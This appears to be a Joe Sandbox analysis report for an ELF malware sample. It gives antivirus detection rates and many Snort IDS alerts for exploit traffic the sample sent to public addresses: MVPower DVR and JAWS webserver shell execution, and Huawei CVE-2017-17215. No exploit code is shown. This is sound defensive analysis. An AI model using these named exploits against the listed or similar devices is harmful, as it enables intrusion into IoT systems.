Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.133.47.142

Timestamp:	192.168.2.2318.133.47.14241080802025883 01/02/24-06:25:11.803956
SID:	2025883
Source Port:	41080
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.107.164.60

Timestamp:	192.168.2.2334.107.164.6038972802030092 01/02/24-06:24:27.400912
SID:	2030092
Source Port:	38972
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 70.121.13.4

Timestamp:	192.168.2.2370.121.13.460866802030092 01/02/24-06:24:27.470721
SID:	2030092
Source Port:	60866
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: if33NMq1O2.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: if33NMq1O2.elf	ReversingLabs: Detection: 68%
Source: if33NMq1O2.elf	Virustotal: Detection: 66%			Perma Link

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34064 -> 156.235.102.230:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:34064 -> 156.235.102.230:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48674 -> 167.172.137.111:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45530 -> 151.101.7.166:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40968 -> 130.211.15.95:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48674 -> 167.172.137.111:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45530 -> 151.101.7.166:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40968 -> 130.211.15.95:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48512 -> 156.241.14.153:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:48512 -> 156.241.14.153:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51712 -> 156.247.18.93:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:51712 -> 156.247.18.93:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56150 -> 113.198.35.222:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38286 -> 101.42.123.60:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40722 -> 184.29.129.7:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:32926 -> 172.121.35.80:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36362 -> 24.236.125.84:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40722 -> 184.29.129.7:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:32926 -> 172.121.35.80:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38286 -> 101.42.123.60:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36362 -> 24.236.125.84:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42508 -> 94.253.89.24:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38636 -> 89.218.57.128:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59224 -> 91.215.216.43:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:42508 -> 94.253.89.24:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38636 -> 89.218.57.128:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59224 -> 91.215.216.43:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60502 -> 67.212.162.83:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42464 -> 63.195.193.240:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60550 -> 104.107.28.16:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60502 -> 67.212.162.83:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33832 -> 66.22.55.129:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55228 -> 220.134.218.248:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53040 -> 38.55.173.244:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:42464 -> 63.195.193.240:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36382 -> 173.61.119.77:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60550 -> 104.107.28.16:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60990 -> 159.69.20.60:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48094 -> 5.133.222.136:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33832 -> 66.22.55.129:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53040 -> 38.55.173.244:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36382 -> 173.61.119.77:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:46956 -> 160.121.60.205:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55228 -> 220.134.218.248:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60990 -> 159.69.20.60:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48094 -> 5.133.222.136:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52204 -> 54.211.17.190:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54666 -> 104.81.147.86:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:32814 -> 149.57.79.102:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45040 -> 108.186.216.181:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55198 -> 67.207.70.100:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60376 -> 116.203.70.28:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:46956 -> 160.121.60.205:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39152 -> 185.124.143.188:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52204 -> 54.211.17.190:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:54666 -> 104.81.147.86:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:32814 -> 149.57.79.102:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45040 -> 108.186.216.181:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55198 -> 67.207.70.100:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60376 -> 116.203.70.28:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:39152 -> 185.124.143.188:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48022 -> 125.229.151.239:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34120 -> 38.181.35.219:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45054 -> 18.155.199.105:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51226 -> 108.186.100.209:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38734 -> 185.164.6.48:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48022 -> 125.229.151.239:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:34120 -> 38.181.35.219:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45054 -> 18.155.199.105:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:51226 -> 108.186.100.209:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44810 -> 190.167.115.162:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49624 -> 104.82.113.61:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58400 -> 119.77.165.60:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:52912 -> 146.75.63.133:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38734 -> 185.164.6.48:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34152 -> 38.181.35.219:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44810 -> 190.167.115.162:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49624 -> 104.82.113.61:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47442 -> 121.36.115.249:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:52912 -> 146.75.63.133:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55520 -> 23.194.37.217:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58400 -> 119.77.165.60:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:34152 -> 38.181.35.219:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:53294 -> 4.152.153.164:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38386 -> 142.58.163.96:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58414 -> 109.196.234.18:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:53294 -> 4.152.153.164:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47442 -> 121.36.115.249:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55520 -> 23.194.37.217:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58414 -> 109.196.234.18:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37532 -> 156.254.98.90:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:37532 -> 156.254.98.90:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45826 -> 20.47.19.114:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45120 -> 109.168.109.229:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40630 -> 156.235.97.230:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:40630 -> 156.235.97.230:37215
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45826 -> 20.47.19.114:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45120 -> 109.168.109.229:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34232 -> 38.181.35.219:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57840 -> 104.91.11.151:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:34232 -> 38.181.35.219:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43892 -> 207.60.214.53:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57840 -> 104.91.11.151:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59784 -> 23.43.229.228:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59634 -> 154.216.168.76:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43892 -> 207.60.214.53:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60350 -> 54.254.143.77:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59784 -> 23.43.229.228:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59634 -> 154.216.168.76:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:60350 -> 54.254.143.77:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:54766 -> 35.244.163.221:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:36348 -> 23.78.13.160:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:43424 -> 44.237.111.253:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:36348 -> 23.78.13.160:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:43424 -> 44.237.111.253:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44962 -> 87.249.21.231:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48474 -> 77.75.231.124:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58160 -> 202.88.191.104:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44962 -> 87.249.21.231:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48474 -> 77.75.231.124:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58160 -> 202.88.191.104:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58232 -> 13.52.177.100:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:33472 -> 104.25.41.249:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38590 -> 104.23.98.204:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50906 -> 197.15.56.180:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48156 -> 104.107.146.117:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58232 -> 13.52.177.100:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58458 -> 104.73.17.27:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:33472 -> 104.25.41.249:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38590 -> 104.23.98.204:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:34372 -> 38.181.35.219:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:56504 -> 45.148.36.42:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58458 -> 104.73.17.27:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57970 -> 109.109.200.175:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:55542 -> 184.85.129.251:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42578 -> 85.215.117.24:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50906 -> 197.15.56.180:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:38402 -> 143.0.84.210:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48156 -> 104.107.146.117:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:58726 -> 8.217.69.180:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:56504 -> 45.148.36.42:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:34372 -> 38.181.35.219:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57970 -> 109.109.200.175:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:55542 -> 184.85.129.251:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:42578 -> 85.215.117.24:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:38402 -> 143.0.84.210:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:58726 -> 8.217.69.180:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38108 -> 156.235.102.171:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:38108 -> 156.235.102.171:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50062 -> 23.37.135.65:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40614 -> 5.212.32.2:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57618 -> 162.159.129.103:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50076 -> 181.206.2.46:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41178 -> 52.50.137.229:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57618 -> 162.159.129.103:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50062 -> 23.37.135.65:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:49628 -> 38.239.158.196:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50076 -> 181.206.2.46:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:59250 -> 175.29.154.101:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41178 -> 52.50.137.229:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:44564 -> 171.244.56.107:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:49628 -> 38.239.158.196:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:59250 -> 175.29.154.101:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:44564 -> 171.244.56.107:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:45208 -> 134.0.11.203:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:35360 -> 13.239.48.115:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:51938 -> 34.107.170.116:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:50990 -> 43.139.38.175:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47644 -> 154.223.106.91:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41426 -> 34.203.180.13:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:45208 -> 134.0.11.203:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:51938 -> 34.107.170.116:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:39410 -> 213.136.91.17:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47644 -> 154.223.106.91:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41426 -> 34.203.180.13:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:35360 -> 13.239.48.115:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:50990 -> 43.139.38.175:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:39410 -> 213.136.91.17:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:47036 -> 207.91.250.53:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48926 -> 72.37.218.199:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41640 -> 104.79.255.29:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:40310 -> 45.15.66.20:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:57854 -> 202.81.229.169:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:47036 -> 207.91.250.53:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:41608 -> 203.170.84.98:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:60798 -> 154.214.96.70:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:48486 -> 146.71.40.215:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48926 -> 72.37.218.199:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41640 -> 104.79.255.29:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:48486 -> 146.71.40.215:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41028 -> 41.0.84.34:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:41028 -> 41.0.84.34:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.23:42372 -> 104.83.91.41:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:40310 -> 45.15.66.20:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:57854 -> 202.81.229.169:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.23:41608 -> 203.170.84.98:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58998 -> 156.77.130.177:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.23:58998 -> 156.77.130.177:37215
